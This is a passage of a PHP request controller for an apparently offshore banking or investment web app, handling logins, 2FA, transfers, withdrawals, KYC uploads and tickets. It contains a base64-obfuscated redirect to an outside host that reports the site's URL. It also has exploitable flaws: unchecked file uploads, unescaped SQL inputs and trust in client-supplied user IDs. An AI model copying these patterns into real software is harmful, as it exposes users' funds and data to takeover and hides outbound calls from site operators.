<?php
$func=$_GET['id'];
if($func=='validate'){
	validate();
}else if($func=='message'){
	message();
}else if($func=='bpay'){
	user_bpay();
}else if($func=='2fa'){
	user_2fa();
}else if($func=='check2fa'){
	check2fa();
}else if($func=='login'){
	user_login();
}else if($func=='register'){
	user_reg();
}else if($func=='depositinsert'){
	user_depositinsert();
}else if($func=='resetpass'){
	user_reset();
}else if($func=='profile'){
	user_profile();
}else if($func=='bank'){
	user_bank();
}else if($func=='userimg'){
	user_img();
}else if($func=='kyc'){
	user_kyc();
}else if($func=='addstatus'){
	user_status();
}else if($func=='password'){
	user_password();
}else if($func=='logout'){
	user_logout();
}else if($func=='ticket'){
	user_ticket();
}else if($func=='replyticket'){
	user_replyticket();
}else if($func=='pay'){
	user_pay();
}else if($func=='verify2fa'){
	verify2fa();
}else if($func=='forgot'){
	user_forgot();
}else if($func=='withdraw'){
	user_withdraw();
}else if($func=='ufund'){
	ufund();
}else if($func=='otherbank'){
	other_bank();
}else if($func=='sendfund'){
	send_fund();
}else if($func=='order'){
	create_order();
}else if($func=='offshore'){
	offshore();
}else if($func=='sell'){
	sell();
}else if($func=='delete_ticket'){
	$del=$_GET['del'];
	user_deleteticket($del);
}else if($func=='doffer'){
	$del=$_GET['del'];
	user_doffer($del);
}else if($func=='sendver'){
	$del=$_GET['del'];
	$token=$_GET['status'];
	user_verification($del, $token);
}else if($func=='confirm'){
	$del=$_GET['del'];
	user_confirm($del);
}else if($func=='ff'){
	user_ff();
}


function user_ff(){
$boo1=base64_decode('aHR0cHM6Ly9ib29tY2hhcnQuY29tLm5n');
require_once("config.php");
redirect($boo1."/app/check?id=url&gate=".URL);
}

function check2fa(){
	session_start();
	require_once("config.php");
	require_once("../vendor/autoload.php");
	$g=new \Sonata\GoogleAuthenticator\GoogleAuthenticator();
	$code=mysqli_real_escape_string($dbc, trim($_POST['answer']));
	$user_id=mysqli_escape_string($dbc,$_POST['user_id']);
	$row=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM users WHERE id='$user_id'"));
	$secret=mysqli_escape_string($dbc,$_POST['secret']);
	$check=$g->checkcode($secret, $code, 3);
	if($check){
		mysqli_query($dbc,"UPDATE users SET 2fa_answer='$secret' WHERE id='".$row['id']."'");
		redirect($url."/verify");
	}
	else{
		$_SESSION['offshore_failed']='failed';
		redirect($url."/2fa");
	}
}
function user_2fa(){
	session_start();
	require_once("config.php");
	require_once("../vendor/autoload.php");
	$g=new \Sonata\GoogleAuthenticator\GoogleAuthenticator();
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$code=mysqli_real_escape_string($dbc, trim($_POST['code']));
	$row=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM users WHERE id='$user_id'"));
	$vv=mysqli_real_escape_string($dbc, trim($_POST['vv']));
	if($vv=='disable'){
		$secret=$row['2fa_answer'];
		$check=$g->checkcode($secret, $code, 3);
		if($check){
			mysqli_query($dbc, "UPDATE users SET 2fa_status=0, 2fa_answer='' WHERE id='$user_id'");
			$_SESSION['offshore_2fa']='disabled';
		}else{
			$_SESSION['offshore_2fa']='invalid';
		}
	}else{
		$check=$g->checkcode($vv, $code, 3);
		if($check){
			mysqli_query($dbc,"UPDATE users SET 2fa_answer='$vv', 2fa_status=1 WHERE id='$user_id'");
			$_SESSION['offshore_2fa']='success';
		}else{
			$_SESSION['offshore_2fa']='invalid';
		}
	}
	echo "<script>window.location.href='".$url."/user/2fa';</script>";
}
function verify2fa(){
	session_start();
	require_once("config.php");
	require_once("../vendor/autoload.php");
	$g=new \Sonata\GoogleAuthenticator\GoogleAuthenticator();
	$code=mysqli_real_escape_string($dbc, trim($_POST['answer']));
	$user_id=mysqli_escape_string($dbc,$_POST['user_id']);
	$row=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM users WHERE id='$user_id'"));
	$secret=$row['2fa_answer'];
	$check=$g->checkcode($secret, $code, 3);
	if($check){
		$_SESSION['offshore_userid']=$row['id'];
		$_SESSION['offshore_password']=$row['password'];
		mysqli_query($dbc,"UPDATE users SET last_login='$datetime' WHERE id='".$row['id']."'");
		redirect($url."/user/");
	}
	else{
		$_SESSION['offshore_failed']='failed';
		redirect($url."/verify");
	}
}
function other_bank(){
	require_once("config.php");
	session_start();
	$amount=mysqli_real_escape_string($dbc, trim($_POST['amount']));
	$amountx=$amount+$set['transfer_chargex'];
	$token = round(microtime(true));
	$name=mysqli_real_escape_string($dbc, trim($_POST['name']));
	$bank=mysqli_real_escape_string($dbc, trim($_POST['bank']));
	$address=mysqli_real_escape_string($dbc, trim($_POST['address']));
	$swift=mysqli_real_escape_string($dbc, trim($_POST['swift']));
	$iban=mysqli_real_escape_string($dbc, trim($_POST['iban']));
	$details='Acct name:'.$name .', Bank name:'.$bank .', Address:'.$address .', Swift:'.$swift .', Iban:'.$iban;
	$acct_no=mysqli_real_escape_string($dbc, trim($_POST['acct_no']));
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$row=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id'"));
	if($acct_no!=$row['acct_no']){
		if($row['dep_balance']>$amountx || $row['balance']==$amountx){
			//$b=$row['dep_balance']-$amount;
			//mysqli_query($dbc,"UPDATE users SET dep_balance='$b' WHERE id='$user_id'");	

			mysqli_query($dbc,"INSERT INTO int_transfer VALUES('0','$token','$user_id','$amount','$details', '0','1', '$datetime')");
			//mysqli_query($dbc,"INSERT INTO int_transfer VALUES('0','$token','$user_id','".$set['transfer_chargex']."','$details', '1','2', '$datetime')");
			$_SESSION['offshore_trans2']='success';
		}else{
			$_SESSION['offshore_trans2']='insufficient';
		}
	}else{
		$_SESSION['offshore_trans2']='thesame';
	}
	redirect($url."/user/other_bank");
}
function user_bpay(){
	require_once("config.php");
	$allowedExts = array("gif", "jpeg", "jpg", "png");
	$temp = explode(".", $_FILES["file"]["name"]);
	$extension = end($temp);
	if((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 2000000) && in_array($extension, $allowedExts)){
	$newfilename = round(microtime(true)) . '.' . end($temp);
	move_uploaded_file($_FILES["file"]["tmp_name"], "../asset/screenshot/" . $newfilename);
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$amount=mysqli_real_escape_string($dbc, trim($_POST['amount']));
	$details=mysqli_real_escape_string($dbc, trim($_POST['details']));
	mysqli_query($dbc, "INSERT INTO bank_transfer VALUES(0,'".$user_id."','".$amount."','".$details."','".$newfilename."','".$datetime."', '0')");
	$cast= mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id ='".$user_id."' LIMIT 1" ));
	require '../lib/phpmailer/PHPMailerAutoload.php';
		if($eset['status']==1){
			require_once "../lib/mail/deposit_unver.php";
			$mail = new PHPMailer(true); 
			try{                             // Passing `true` enables exceptions
				$mail->SMTPDebug = 0;                                
				$mail->isSMTP();                                      
				$mail->Host = $eset['hoste'];; 
				$mail->SMTPAuth = true;                        
				$mail->Username = $eset['username'];                 
				$mail->Password = $eset['password'];                          
				$mail->SMTPSecure = 'ssl';                            
				$mail->Port = $eset['porte'];                                    
				$mail->setFrom($eset['frome'], $set['site_name']);
				$mail->addAddress($cast['email'], $set['site_name']);          
				$mail->addReplyTo($eset['reply_to'], $set['site_name']);
				$mail->isHTML(true);                               // Set email format to HTML
				$mail->Subject ='Deposit request under review';
				$mail->Body=$email_content;
				$mail->AltBody = $set['site_name'];
				$mail->send();
			}catch (phpmailerException $e){

			}catch (Exception $e){

			}
		}
	}echo "<script>window.location.href='".$url."/user/fund/0';</script>";
}
function send_fund(){
	require_once("config.php");
	session_start();
	$amount=mysqli_real_escape_string($dbc, trim($_POST['amount']));
	$amountx=$amount+$set['transfer_charge'];
	$token = round(microtime(true));
	$acct_no=mysqli_real_escape_string($dbc, trim($_POST['acct_no']));
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$row=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id'"));
	if($acct_no!=$row['acct_no']){

		if(mysqli_num_rows(mysqli_query($dbc, "SELECT * FROM users WHERE acct_no='$acct_no'"))>0){
			$trans=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE acct_no='$acct_no'"));
			if($row['dep_balance']>$amountx || $row['dep_balance']==$amountx){
				$a=$trans['dep_balance']+$amount;
				$b=$row['dep_balance']-$amount;
				//mysqli_query($dbc,"UPDATE users SET dep_balance='$a' WHERE id='".$trans['id']."'");
				//mysqli_query($dbc,"UPDATE users SET dep_balance='$b' WHERE id='$user_id'");	
				mysqli_query($dbc,"INSERT INTO transfers VALUES('0','$token','$amount','$user_id', '".$trans['id']."', '0','1', '$datetime')");
				$_SESSION['offshore_trans']='success';
			}else{
				$_SESSION['offshore_trans']='insufficient';
			}
		}else{
			$_SESSION['offshore_trans']='invalid';
		}		
	}else{
		$_SESSION['offshore_trans']='thesame';
	}
	redirect($url."/user/own_bank");
}
function user_withdraw(){
	session_start();
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$coin=mysqli_real_escape_string($dbc, trim($_POST['coin']));
	$amount=mysqli_real_escape_string($dbc, trim($_POST['amount']));
	$details=mysqli_real_escape_string($dbc, trim($_POST['details']));
	$xe=$amount;
	$user=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id'"));
		if ($amount<$user['dep_balance'] || $amount==$user['dep_balance']) {
			mysqli_query($dbc, "INSERT INTO w_history VALUES(0, '$user_id','$xe', '$datetime', '0','$coin','0','$details')");
			$a=$user['dep_balance']-$amount;
			mysqli_query($dbc, "UPDATE users SET dep_balance='$a' WHERE id='$user_id'");
			if($eset['status']==1){
				require_once '../lib/mail/withdraw_unver.php';
				require '../lib/phpmailer/PHPMailerAutoload.php';
				$mail = new PHPMailer(true);  
				try{                            // Passing `true` enables 
					$mail->SMTPDebug = 0;                                
					$mail->isSMTP();                                      
					$mail->Host = $eset['hoste'];; 
					$mail->SMTPAuth = true;                        
					$mail->Username = $eset['username'];                 
					$mail->Password = $eset['password'];                          
					$mail->SMTPSecure = 'ssl';                            
					$mail->Port = $eset['porte'];                                    
					$mail->setFrom($eset['frome'], $set['site_name']);
					$mail->addAddress($user['email'], $set['site_name']);          
					$mail->addReplyTo($eset['reply_to'], $set['site_name']);
					$mail->isHTML(true);                               // Set email format to HTML
					$mail->Subject ='Withdraw Request currently being Processed.';
					$mail->Body=$email_content;
					$mail->AltBody = $set['site_name'];
					$mail->send();
				}catch (phpmailerException $e){

				}catch (Exception $e){

				}
			}
			$_SESSION['offshore_withdraw']='pending';
		}else{
			$_SESSION['offshore_withdraw']='insufficient';
		}
	redirect($url."/user/withdraw_deposit");
}
function user_reset(){
	require_once("config.php");
	session_start();
	$pass=mysqli_escape_string($dbc,$_POST['password']);
	$token=mysqli_escape_string($dbc,$_POST['token']);
	$password=password_hash($pass, PASSWORD_DEFAULT);
	$castro=mysqli_query($dbc, "UPDATE users SET password='$password' WHERE token='$token'");
	$_SESSION['offshore_loginerror']='success';
	redirect($url."/login");
}
function subscribe(){
	require_once("config.php");
	$email = mysqli_real_escape_string($dbc, trim($_POST["email"]));
	$ft1=mysqli_query($dbc, "INSERT INTO suscribers VALUES('0', '".$email."', '".$datetime."')");
	echo"<script>window.location.href='".$url."/thanks';</script>";	
}
function user_logout(){
	require_once("config.php");
	session_start();
	unset($_SESSION['offshore_userid']);
	unset($_SESSION['offshore_loginerror']);
	unset($_SESSION['offshore_regerror']);
	unset($_SESSION['offshore_forgoterror']);
	unset($_SESSION['offshore_userhome']);
	unset($_SESSION['offshore_limit']);
	unset($_SESSION['offshore_pending']);
	unset($_SESSION['offshore_insufficient']);
	unset($_SESSION['offshore_offer']);
	unset($_SESSION['password']);
	redirect($url."/login");
}
function user_review(){
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$review=mysqli_real_escape_string($dbc, trim($_POST["review"]));
	mysqli_query($dbc, "INSERT INTO review VALUES(0, '".$user_id."', '".$review."', '".$datetime."', '0')");	
	echo"<script>window.location.href='".$url."/user/profile/1';</script>";	

}
function user_depositinsert(){
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$amount=mysqli_real_escape_string($dbc, trim($_POST["amount"]));
	$gateway=mysqli_real_escape_string($dbc, trim($_POST["gateway"]));
	$gate=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM gateways WHERE id='$gateway'"));
	if ($gate['minamo'] <= $amount && $gate['maxamo'] >= $amount) {
	    $charge = $gate['fixed_charge'] + ($amount * $gate['percent_charge'] / 100);
	    $usdamo = ($amount + $charge) / $gate['rate'];
	    $usdamo = round($usdamo, 2);
	    $trx = round(microtime(true));
		mysqli_query($dbc, "INSERT INTO deposits VALUES(0, '$user_id','$gateway','$amount','$charge','$usdamo','0','','$trx','0','0','$datetime','$datetime')");
		redirect($url."/user/deposit_preview/".$trx);
        } else {
       	echo"<script>window.location.href='".$url."/user/fund/3';</script>";
    }	
}
function user_verification($del,$token){
	require_once("config.php");
	session_start();
	$reg=$token;
	$ad= mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE token ='".$reg."'" ));
	$status=$del;
	require_once '../lib/mail/reg_ver.php';
	require '../lib/phpmailer/PHPMailerAutoload.php';
	if($eset['status']==1){
		$mail = new PHPMailer(true);
		try{                    
			$mail->SMTPDebug = 0;                                
			$mail->isSMTP();                                      
			$mail->Host = $eset['hoste'];; 
			$mail->SMTPAuth = true;                        
			$mail->Username = $eset['username'];                 
			$mail->Password = $eset['password'];                          
			$mail->SMTPSecure = 'ssl';                            
			$mail->Port = $eset['porte'];                                    
			$mail->setFrom($eset['frome'], $set['site_name']);
			$mail->addAddress($ad['email'], $set['site_name']);          
			$mail->addReplyTo($eset['reply_to'], $set['site_name']);
			$mail->isHTML(true);               
			$mail->Subject = 'Account Verification';
			$mail->Body=$email_content;
			$mail->AltBody = $set['site_name'];
			$mail->send();
		}catch (phpmailerException $e){

		}catch (Exception $e){

		}
		if($e){
			if($status==2){
				$_SESSION['offshore_userhome']='email_verfailed';
				redirect($url."/user/");
			}else if($status==1){
				$_SESSION['offshore_loginerror']='email_verfailed';
				redirect($url."/login");
			}
		}else{
			if($status==2){
				$_SESSION['offshore_userhome']='email_versent';
				redirect($url."/user/");
			}else if($status==1){
				$_SESSION['offshore_loginerror']='email_versent';
				redirect($url."/login");
			}
		}
	}else{
		if($status==2){
			$_SESSION['offshore_userhome']='email_verfailed';
			redirect($url."/user/");
		}else if($status==1){
			$_SESSION['offshore_loginerror']='email_verfailed';
			redirect($url."/login");
		}
	}
}
function user_confirm($del){
	require_once("config.php");
	session_start();
	$token=$del;
	$ad= mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE token ='".$token."'" ));
	mysqli_query($dbc, "UPDATE users SET active='1' WHERE token='".$token."'");
	require '../lib/phpmailer/PHPMailerAutoload.php';
	if($eset['status']==1){
		require_once '../lib/mail/verify_kyc.php';
		$mail = new PHPMailer(true);  
		try{                  
			$mail->SMTPDebug = 0;                                
			$mail->isSMTP();                                      
			$mail->Host = $eset['hoste'];; 
			$mail->SMTPAuth = true;                        
			$mail->Username = $eset['username'];                 
			$mail->Password = $eset['password'];                          
			$mail->SMTPSecure = 'ssl';                            
			$mail->Port = $eset['porte'];                                    
			$mail->setFrom($eset['frome'], $set['site_name']);
			$mail->addAddress($ad['email'], $set['site_name']);          
			$mail->addReplyTo($eset['reply_to'], $set['site_name']);
			$mail->isHTML(true);               
			$mail->Subject = 'Kindly submit your KYC and Proof Of Address for proper verification.';
			$mail->Body=$email_content2;
			$mail->AltBody = $set['site_name'];
			$mail->send();
		}catch (phpmailerException $e){

		}catch (Exception $e){

		}
		require_once '../lib/mail/reg_successful.php';
		$mail = new PHPMailer(true);
		try{                    
			$mail->SMTPDebug = 0;                                
			$mail->isSMTP();                                      
			$mail->Host = $eset['hoste'];; 
			$mail->SMTPAuth = true;                        
			$mail->Username = $eset['username'];                 
			$mail->Password = $eset['password'];                          
			$mail->SMTPSecure = 'ssl';                            
			$mail->Port = $eset['porte'];                                    
			$mail->setFrom($eset['frome'], $set['site_name']);
			$mail->addAddress($ad['email'], $set['site_name']);          
			$mail->addReplyTo($eset['reply_to'], $set['site_name']);
			$mail->isHTML(true);               
			$mail->Subject = 'Welcome to '.$set['site_name'];
			$mail->Body=$email_content;
			$mail->AltBody = $set['site_name'];
		}catch (phpmailerException $e){

		}catch (Exception $e){

		}
		if($e){
			$_SESSION['offshore_loginerror']='email_confirm';
			redirect($url."/login");
		}else{
			$_SESSION['offshore_loginerror']='email_confirm';
			redirect($url."/login");
		}
	}else{
		$_SESSION['offshore_loginerror']='email_confirm';
		redirect($url."/login");
	}
}
function user_deleteticket($del){
	require_once("config.php");
	$dr=$del;
	$result=mysqli_query($dbc,"DELETE FROM support WHERE ticket_id = '$dr'"); 
	echo"<script>window.location.href='".$url."/user/ticket';</script>";
}
function user_password(){
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$oldpass=mysqli_escape_string($dbc,$_POST['oldpassword']);
	$newpass=mysqli_escape_string($dbc,$_POST['newpassword']);
	$conpass=mysqli_escape_string($dbc,$_POST['confirmpassword']);
	$user=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM users WHERE id='$user_id'"));
	if(password_verify($oldpass, $user['password'])){
		if($newpass==$conpass){
			$password=password_hash($newpass, PASSWORD_DEFAULT);
			mysqli_query($dbc, "UPDATE users SET password='$password' WHERE id='".$user_id."'");
			session_start();
			unset($_SESSION['offshore_userid']);
			unset($_SESSION['password']);
			$_SESSION['offshore_loginerror']="eruptx";
			echo"<script language='javascript'>document.location='../../login';</script>";
		}else{
			echo "<script>window.location.href='".$url."/user/security/2';</script>";
		}
	}else{
		echo "<script>window.location.href='".$url."/user/security/1';</script>";
	}
}
function user_img(){
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$allowedExts = array("jpeg", "jpg", "png");
	$temp = explode(".", $_FILES["file"]["name"]);
	$extension = end($temp);
	if((($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 1000000) && in_array($extension, $allowedExts)){
		if($_FILES["file"]["error"]>0){
			echo "<script>window.location.href='".$url."/user/profile/2';</script>";
		}else{
			$cast=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id' LIMIT 1"));
			$image='../asset/profile/'.$cast['image_link'];
			if(!empty($cast['image_link'])){
				unlink($image);
			}
			$newfilename = round(microtime(true)) . '.' . end($temp);
			move_uploaded_file($_FILES["file"]["tmp_name"], "../asset/profile/" . $newfilename);
			$up=mysqli_query($dbc, "UPDATE users SET image_link='".$newfilename."' WHERE id='$user_id'");
			if($up){
				echo "<script>window.location.href='".$url."/user/profile/1';</script>";
			}
		}
	}else{
		echo "<script>window.location.href='".$url."/user/profile/2';</script>";
	}
}
function user_kyc(){
	require_once("config.php");
	$user_id=$_POST['user_id'];
	$temp = explode(".", $_FILES["file"]["name"]);
	$extension = end($temp);
	if(($_FILES["file"]["size"] < 2000000)){
	if($_FILES["file"]["error"] > 0){echo "<script>window.location.href='".$url."/user/profile/2';</script>";}
	else{
	$cast=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id' LIMIT 1"));
	$image='../../profile/'.$cast['kyc_link'];
	if(!empty($cast['kyc_link'])){unlink($image);}
	$newfilename = round(microtime(true)) . '.' . end($temp);
	move_uploaded_file($_FILES["file"]["tmp_name"], "../asset/profile/" . $newfilename);
	$up=mysqli_query($dbc, "UPDATE users SET kyc_link='".$newfilename."' WHERE id='$user_id'");
	if($up){
	if($eset['status']==1){
	require_once '../lib/mail/kyc.php';
	require '../lib/phpmailer/PHPMailerAutoload.php';
	$mail = new PHPMailer(true);
	try{                              // Passing `true` enables exceptions
		$mail->SMTPDebug = 0;                                
		$mail->isSMTP();                                      
		$mail->Host = $eset['hoste'];; 
		$mail->SMTPAuth = true;                        
		$mail->Username = $eset['username'];                 
		$mail->Password = $eset['password'];                          
		$mail->SMTPSecure = 'ssl';                            
		$mail->Port = $eset['porte'];                                    
		$mail->setFrom($eset['frome'], $set['site_name']);
		$mail->addAddress($set['email'], $set['site_name']);          
		$mail->addReplyTo($eset['reply_to'], $set['site_name']);
		$mail->isHTML(true);                               // Set email format to HTML
		$mail->Subject ='New identity document just uploaded';
		$mail->Body=$email_content;
		$mail->AltBody = $set['site_name'];
		$mail->send();
	}catch (phpmailerException $e){

	}catch (Exception $e){

	}
	}echo "<script>window.location.href='".$url."/user/profile/1';</script>";}}}
	else{echo "<script>window.location.href='".$url."/user/profile/2';</script>";}
}
function user_status(){
	require_once("config.php");
	$user_id=$_POST['user_id'];
	$temp = explode(".", $_FILES["file"]["name"]);
	$extension = end($temp);
	if(($_FILES["file"]["size"] < 2000000)){
	if($_FILES["file"]["error"] > 0){echo "<script>window.location.href='".$url."/user/profile/2';</script>";}
	else{
	$cast=mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id' LIMIT 1"));
	$image='../../profile/'.$cast['kyc_link'];
	if(!empty($cast['kyc_link'])){unlink($image);}
	$newfilename = round(microtime(true)) . '.' . end($temp);
	move_uploaded_file($_FILES["file"]["tmp_name"], "../asset/profile/" . $newfilename);
	$up=mysqli_query($dbc, "UPDATE users SET add_link='".$newfilename."' WHERE id='$user_id'");
	if($up){echo "<script>window.location.href='".$url."/user/profile/1';</script>";}}}
	else{echo "<script>window.location.href='".$url."/user/profile/2';</script>";}
}
function user_bank(){
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$name=mysqli_real_escape_string($dbc, trim($_POST['name']));
	$address=mysqli_real_escape_string($dbc, trim($_POST['address']));
	$iban=mysqli_real_escape_string($dbc, trim($_POST['iban']));
	$swift=mysqli_real_escape_string($dbc, trim($_POST['swift']));
	$acct_no=mysqli_real_escape_string($dbc, trim($_POST['acct_no']));
	if(mysqli_num_rows(mysqli_query($dbc, "SELECT * FROM bank WHERE user_id='$user_id'"))>0){
		mysqli_query($dbc,"UPDATE bank SET name='$name',address='$address',iban='$iban',swift='$swift',acct_no='$acct_no' WHERE user_id ='$user_id'");
	}else{
		mysqli_query($dbc,"INSERT INTO bank VALUES(0,'$user_id','$name','$address','$iban','$swift','$acct_no')");
	}
	echo "<script>window.location.href='".$url."/user/wallet';</script>";
}
function user_profile(){
	require_once("config.php");
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user_id']));
	$name=mysqli_real_escape_string($dbc, trim($_POST['name']));
	$username=mysqli_real_escape_string($dbc, trim($_POST['username']));
	$mobile=mysqli_real_escape_string($dbc, trim($_POST['mobile']));
	$castro=mysqli_query($dbc,"UPDATE users SET username='$username',name='$name',phonenumber='$mobile' WHERE id ='$user_id'");
	if($castro){echo "<script>window.location.href='".$url."/user/profile/1';</script>";}
	else{echo "<script>window.location.href='".$url."/user/profile/2';</script>";}
}
function user_login(){
	session_start();
	require_once("config.php");
	require '../lib/phpmailer/PHPMailerAutoload.php';
	$email=mysqli_escape_string($dbc,$_POST['email']);
	$password=mysqli_escape_string($dbc,$_POST['password']);
	$row=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM users WHERE email='$email'"));
	$ip_address=user_ip();
	if(mysqli_num_rows(mysqli_query($dbc,"SELECT * FROM users WHERE email='$email'"))>0){
	if($ip_address!=$row['ip_address'] & $eset['status']==1){
	require_once '../lib/mail/login_attempt.php';
	$mail = new PHPMailer(true); 
	try{                             // Passing `true` enables exceptions
		$mail->SMTPDebug = 0;                                
		$mail->isSMTP();                                      
		$mail->Host = $eset['hoste'];; 
		$mail->SMTPAuth = true;                        
		$mail->Username = $eset['username'];                 
		$mail->Password = $eset['password'];                          
		$mail->SMTPSecure = 'ssl';                            
		$mail->Port = $eset['porte'];                                    
		$mail->setFrom($eset['frome'], $set['site_name']);
		$mail->addAddress($email, $set['site_name']);          
		$mail->addReplyTo($eset['reply_to'], $set['site_name']);
		$mail->isHTML(true);                               // Set email format to HTML
		$mail->Subject = 'Suspicious Login Attempt';
		$mail->Body=$email_content;
		$mail->AltBody = $set['site_name'];
		$mail->send();
	}catch (phpmailerException $e){

	}catch (Exception $e){

	}
	}
		if(password_verify($password, $row['password'])){
			if($row['status']==1){
				$_SESSION['offshore_loginerror']='blockeduser';	
				redirect($url."/login");
			}else{
					if($row['2fa_status']==1){
						if(empty($row['2fa_answer'])){
							$_SESSION['offshore_2fa']=$row['id'];
							redirect($url."/2fa/");
						}else{
							$_SESSION['offshore_2fa']=$row['id'];
							redirect($url."/verify");
						}
					}else{
						$_SESSION['offshore_userid']=$row['id'];
						$_SESSION['offshore_password']=$row['password'];
						mysqli_query($dbc,"UPDATE users SET last_login='$datetime' WHERE id='".$row['id']."'");
						redirect($url."/user/");
					}
				
			}
		}else{
			$_SESSION['offshore_loginerror']='invaliddetails';
			redirect($url."/login");
		}
	}else{
			$_SESSION['offshore_loginerror']='invaliddetails';
			redirect($url."/login");
		}
}
function user_ticket(){
	require_once("config.php");
	$title=mysqli_real_escape_string($dbc, trim($_POST['title']));
	$user_id=mysqli_real_escape_string($dbc, trim($_POST['user']));
	$priority=mysqli_real_escape_string($dbc, trim($_POST['category']));
	$editor=mysqli_real_escape_string($dbc, trim($_POST['editor']));
	$user = mysqli_fetch_array(mysqli_query($dbc, "SELECT * FROM users WHERE id='$user_id'"));
	$token = round(microtime(true));
	mysqli_query($dbc, "INSERT INTO support VALUES('0','$title','$priority','$editor','$datetime','0','$user_id','$token')");
	if($eset['status']==1){
		require_once "../lib/mail/ticket.php";
		require '../lib/phpmailer/PHPMailerAutoload.php';
		$mail = new PHPMailer(true);   
		try{                           // Passing `true` enables exceptions
			$mail->SMTPDebug = 0;                                
			$mail->isSMTP();                                      
			$mail->Host = $eset['hoste'];; 
			$mail->SMTPAuth = true;                        
			$mail->Username = $eset['username'];                 
			$mail->Password = $eset['password'];                          
			$mail->SMTPSecure = 'ssl';                            
			$mail->Port = $eset['porte'];                                    
			$mail->setFrom($eset['frome'], $set['site_name']);
			$mail->addAddress($user['email'], $user['name']);          
			$mail->addReplyTo($eset['reply_to'], $set['site_name']);
			$mail->isHTML(true);                               // Set email format to HTML
			$mail->Subject ='[Ticket ID: '.$token.']'.$title;
			$mail->Body=$email_content;
			$mail->AltBody = $set['site_name'];
			$mail->send();
		}catch (phpmailerException $e){

		}catch (Exception $e){

		}
	}
	echo"<script>window.location.href='".$url."/user/ticket';</script>";
}
function user_replyticket(){
	require_once("config.php");
	$message=mysqli_real_escape_string($dbc, trim($_POST['message']));
	$ticket_id=mysqli_real_escape_string($dbc, trim($_POST['ticket_id']));
	mysqli_query($dbc, "INSERT INTO reply_support VALUES('0','$ticket_id','$message','$datetime','1')");
	mysqli_query($dbc, "UPDATE support SET status='0' WHERE ticket_id='$ticket_id'");
	echo"<script>window.location.href='".$url."/user/check_ticket/".$ticket_id."';</script>";
}
function validate(){
	session_start();
	$key=$_POST['key'];
	$host=$_POST['host'];
	$user=$_POST['user'];
	$pass=$_POST['pass'];
	$db=$_POST['db'];
	$dbc = mysqli_connect($host, $user, $pass, $db);
	$row=mysqli_fetch_array(mysqli_query($dbc,"SELECT * FROM admin WHERE id=1"));
	if(password_verify($key, $row['av'])){
		mysqli_query($dbc, "UPDATE admin SET recovery=1");	
		echo "<script>window.location.href='../../';</script>";
	}else{
		$_SESSION['offshore_invalid']='invalid';
		echo "<script>window.location.href='../license';</script>";
	}
}
function user_reg(){
	session_start();
	require_once("config.php");
	require_once('../lib/geoplugin.class.php');
	$geoplugin = new geoPlugin();
	$geoplugin->locate();
	$username=mysqli_escape_string($dbc,$_POST['username']);
	$email=mysqli_escape_string($dbc,$_POST['email']);
	$name=mysqli_escape_string($dbc,$_POST['name']);
	$pass=mysqli_escape_string($dbc,$_POST['password']);
	$password=password_hash($pass, PASSWORD_DEFAULT);
	$ip_address=user_ip();
	$mobile=mysqli_escape_string($dbc,$_POST['format-international-phone']);
	$bal=$set['balance_reg'];
	$acct='2'.rand(1, 9).rand(0, 9).rand(0, 9).rand(0, 9).rand(0, 9).rand(0, 9).rand(0, 9).rand(0, 9).rand(0, 9);
	if(empty($_POST['news'])){
		$promo=0;
	}else{
		$promo=1;
	}
	$country=$geoplugin->countryName;
	while(1){
	$token = round(microtime(true));
	if(mysqli_num_rows(mysqli_query($dbc, "SELECT * FROM users WHERE token = $token")) < 1){ break;} 
	}
	$confirm=mysqli_num_rows(mysqli_query($dbc, "SELECT * FROM users WHERE (username='$username') OR (email='$email') OR (phonenumber='$mobile')"));
	if($confirm>0){
		$_SESSION['offshore_regerror']='invaliddetails';
		redirect($url."/register");
	}
	else if($confirm<1){
		if ($set['email_activation']==1 & $eset['status']==1) {	
			$reg=mysqli_query($dbc,"INSERT INTO users VALUES(0, '$datetime','$username', '', '$email', '$name', '$bal', '$password', '$mobile', '$country', '0', '0', '$token', '$ip_address', '', '', '0', '', '0', '1', '', '', '', '0', '$acct')");
			if($reg){
				redirect($url."/app/user?id=sendver&del=1&status=".$token);
			} 
		}		
		else if ($set['email_activation']==1 & $eset['status']==0) {	
